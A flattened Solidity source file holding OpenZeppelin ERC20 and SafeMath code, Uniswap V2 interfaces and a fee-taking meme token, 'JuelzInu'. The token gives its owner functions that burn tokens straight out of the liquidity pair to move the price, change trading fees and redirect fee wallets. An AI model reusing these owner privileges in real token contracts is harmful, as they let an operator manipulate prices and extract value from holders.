* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
////// lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol
// OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol)
/* pragma solidity ^0.8.0; */
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
////// src/IUniswapV2Factory.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
////// src/IUniswapV2Pair.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
////// src/IUniswapV2Router02.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
////// src/JuelzInu.sol
/* pragma solidity >=0.8.10; */
/* import {IUniswapV2Router02} from "./IUniswapV2Router02.sol"; */
/* import {IUniswapV2Factory} from "./IUniswapV2Factory.sol"; */
/* import {IUniswapV2Pair} from "./IUniswapV2Pair.sol"; */
/* import {IERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */
/* import {ERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; */
/* import {Ownable} from "lib/openzeppelin-contracts/contracts/access/Ownable.sol"; */
/* import {SafeMath} from "lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol"; */
contract JuelzInu is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public percentForLPBurn = 25; // 25 = .25%
bool public lpBurnEnabled = true;
uint256 public lpBurnFrequency = 3600 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
/******************/
// exlcude from fees and max transaction amount
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event devWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("Juelz Inu", "JUELZ") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 7;
uint256 _buyLiquidityFee = 3;
uint256 _buyDevFee = 3;
uint256 _sellMarketingFee = 8;
uint256 _sellLiquidityFee = 4;
uint256 _sellDevFee = 4;
uint256 totalSupply = 1_000_000_000 * 1e18;
maxTransactionAmount = 10_000_000 * 1e18; // 1% from total supply maxTransactionAmountTxn
maxWallet = 20_000_000 * 1e18; // 2% from total supply maxWallet
swapTokensAtAmount = (totalSupply * 5) / 10000; // 0.05% swap wallet
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
marketingWallet = address(0xc9070CB03109a44dE305A1e4C314186cdF62934E); // set as marketing wallet
devWallet = address(0x7d26574C2caaB2Cc048666DE733576bD3749335e); // set as dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
lastLpBurnTime = block.timestamp;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool) {
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool) {
transferDelayEnabled = false;
return true;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount)
external
onlyOwner
returns (bool)
{
require(
newAmount >= (totalSupply() * 1) / 100000,
"Swap amount cannot be lower than 0.001% total supply."
);
require(
newAmount <= (totalSupply() * 5) / 1000,
"Swap amount cannot be higher than 0.5% total supply."
);
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 1) / 1000) / 1e18,
"Cannot set maxTransactionAmount lower than 0.1%"
);
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 5) / 1000) / 1e18,
"Cannot set maxWallet lower than 0.5%"
);
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner {
swapEnabled = enabled;
}
function updateBuyFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee
) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 20, "Must keep fees at 20% or less");
}
function updateSellFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee
) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 25, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(
pair != uniswapV2Pair,
"The pair cannot be removed from automatedMarketMakerPairs"
);
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet)
external
onlyOwner
{
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
//when sell
else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
} else if (!_isExcludedMaxTransactionAmount[to]) {
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if (takeFee) {
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
// on buy
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
deadAddress,
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDev;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
totalTokensToSwap /
2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
totalTokensToSwap
);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success, ) = address(devWallet).call{value: ethForDev}("");
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
(success, ) = address(marketingWallet).call{
value: address(this).balance
}("");
}
function setAutoLPBurnSettings(
uint256 _frequencyInSeconds,
uint256 _percent,
bool _Enabled
) external onlyOwner {
require(
_frequencyInSeconds >= 600,
"cannot set buyback more often than every 10 minutes"
);
require(
_percent <= 1000 && _percent >= 0,
"Must set auto LP burn percent between 0% and 10%"
);
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
function autoBurnLiquidityPairTokens() internal returns (bool) {
lastLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(
10000
);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit AutoNukeLP();
return true;
}
function manualBurnLiquidityPairTokens(uint256 percent)
external
onlyOwner
returns (bool)
{
require(
block.timestamp > lastManualLpBurnTime + manualBurnFrequency,
"Must wait for cooldown to finish"
);
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit ManualNukeLP();
return true;
}
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|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
// Part: Address
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
